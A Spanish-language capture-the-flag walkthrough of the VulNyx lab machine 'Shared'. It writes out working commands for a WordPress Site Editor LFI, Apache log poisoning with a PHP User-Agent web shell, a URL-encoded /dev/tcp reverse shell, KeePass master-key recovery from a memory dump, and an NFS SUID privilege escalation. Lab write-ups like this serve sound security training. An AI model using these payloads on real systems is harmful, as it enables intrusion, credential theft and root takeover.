VulNyx - Shared
- WordPress Plugin Site Editor 1.1.1 - LFI
- Log Poisoning access.log - RCE
- Brute Force KeePass - CVE-2023-32784 - KeePwn
- NFS no_root_squash - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.145
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
34019/tcp open unknown
41479/tcp open unknown
41865/tcp open unknown
48099/tcp open unknown
48919/tcp open unknown
Escaneo de servicios
❯ nmap -sVC -p 22,80,111,2049,34019,41479,41865,48099,48919 -v 192.168.1.145
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 9d:c2:e5:b9:bc:86:d4:81:5e:ad:aa:8d:87:a8:ad:5b (ECDSA)
|_ 256 6a:d1:8a:c1:4d:f9:0c:4f:c5:f6:21:bb:c9:a6:24:53 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: Apache2 Debian Default Page: It works
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 41865/tcp mountd
| 100005 1,2,3 42927/tcp6 mountd
| 100005 1,2,3 51255/udp mountd
| 100005 1,2,3 58830/udp6 mountd
| 100021 1,3,4 41479/tcp nlockmgr
| 100021 1,3,4 43521/tcp6 nlockmgr
| 100021 1,3,4 46560/udp6 nlockmgr
| 100021 1,3,4 49015/udp nlockmgr
| 100024 1 39895/tcp6 status
| 100024 1 43989/udp6 status
| 100024 1 48919/tcp status
| 100024 1 55694/udp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
34019/tcp open mountd 1-3 (RPC #100005)
41479/tcp open nlockmgr 1-4 (RPC #100021)
41865/tcp open mountd 1-3 (RPC #100005)
48099/tcp open mountd 1-3 (RPC #100005)
48919/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Realizando fuerza bruta de directorios encuentro el directorio /wordpress
.
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/big.txt 'http://192.168.1.145/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.145/FUZZ
Total requests: 20476
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000017: 403 9 L 28 W 277 Ch ".htpasswd"
000000016: 403 9 L 28 W 277 Ch ".htaccess"
000016220: 403 9 L 28 W 277 Ch "server-status"
000019915: 301 9 L 28 W 316 Ch "wordpress"
Si voy al directorio /wordpress
me redirige al dominio http://shared.nyx/wordpress.
Añado el dominio a mi archivo hosts para visualizar correctamente la web.
Al tratarse de una web creada con worpress lanzo wpscan para enumerar la web.
❯ wpscan --url http://shared.nyx/wordpress
Al terminar el escaneo veo que ha encontrado el plugin site-editor.
Busco en internet site editor 1.1.1 y encuentro este exploit.
En el poc del exploit muestra como obtener un LFI mediante una url.
Con curl obtengo el fichero passwd del sistema y enumero varios usuarios.
❯ curl "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd";echo
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
jackondor:x:1001:1001::/home/jackondor:/bin/bash
_rpc:x:102:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:103:65534::/var/lib/nfs:/usr/sbin/nologin
mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
j4ckie:x:1002:1002::/home/j4ckie:/bin/sh
condor:x:1003:1003::/home/condor:/bin/sh
{"success":true,"data":{"output":[]}}
Al tratarse de un servidor apache me voy a /var/log/apache2/access.log
y consigo ver el contenido.
❯ curl "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log"
192.168.1.15 - - [26/Jan/2024:16:45:05 +0100] "GET /wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log HTTP/1.1" 200 187 "-" "curl/8.3.0"
{"success":true,"data":{"output":[]}}
Uso curl para incrustar código php en el User-Agent.
curl "http://shared.nyx/wordpress/" -H "User-Agent: <?php system('id'); ?>"
Visualizo de nuevo el access.log
y veo que se ha ejecutado el comando id.
Sabiendo esto incrusto este código php en el User-Agent para ejecutar comandos.
curl "http://shared.nyx/wordpress/" -H "User-Agent: <?php system(\$_GET['shell']); ?>"
Ahora si lanzo de nuevo curl para visualizar el access.log
y le concateno la variable shell observo que puedo ejecutar comandos.
Me mando una shell urlencodeada.
❯ curl "http://shared.nyx/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/apache2/access.log&shell=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.15%2F4444%200%3E%261%27"
Dejo un netcat a la escucha y recibo la shell.
❯ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.15] from shared.nyx [192.168.1.145] 57126
bash: cannot set terminal process group (608): Inappropriate ioctl for device
bash: no job control in this shell
<ite-editor/editor/extensions/pagebuilder/includes$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Después de realizar el tratamiento para la tty encuentro cp-sharedbbdd.zip
en el directorio /backups
.
Con python creo un servidor HTTP para compartir el archivo cp-sharedbbdd.zip
.
Descargo cp-sharedbbdd.zip
y al descomprimirlo veo los siguientes archivos.
❯ unzip cp-sharedbbdd.zip
Archive: cp-sharedbbdd.zip
creating: EMP41111/
inflating: EMP41111/KeePass.DMP
extracting: EMP41111/sharedbbdd.kdbx
CVE-2023-32784
Al tener un volcado de memoria KeePass.DMP puedo extraer la Master Key con KeePwn, en esta parte del README explica como usar la herramienta.
Abro KeePAssXC cargo el archivo sharedbbdd.kdbx
e introduzco la Master Key.
La base de datos contiene 3 usuarios con sus credenciales.
Me conecto al sistema como usuario jackondor.
❯ ssh jackondor@192.168.1.145
(jackondor@192.168.1.145) Password:
Linux shared 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64
jackondor@shared:~$ id
uid=1001(jackondor) gid=1001(jackondor) grupos=1001(jackondor)
Enumerando el sistema con linpeas.sh
encuentro un servidor NFS que tiene montadas 3 carpetas, estas carpetas las monté anteriormente pero no contienen nada de utilidad para la intrusión.
Usando el recurso de hacktricks me doy cuenta de que esas carpetas ahora me servirán para escalar privilegios. Siguiendo los pasos de hacktricks me voy a mi equipo y como root creo la carpeta /privesc
en el directorio /tmp
.
❯ mkdir /tmp/privesc
Monto un directorio remoto ubicado en el servidor NFS con la dirección IP 192.168.1.145 y la ruta /shared/tmp
en mi directorio local /tmp/privesc
.
❯ mount -t nfs 192.168.1.145:/shared/tmp /tmp/privesc
Entro en el directorio /tmp/privesc
, copio el binario /bin/bash
y le doy permisos SUID.
❯ cd /tmp/privesc
❯ cp /bin/bash .
❯ chmod +s bash
En la máquina objetivo entro en la carpeta /shared/tmp
y veo el binaro bash con permisos SUID.
Obtengo el root de la siguiente forma.
Y aquí termina la máquina Shared.
Saludos!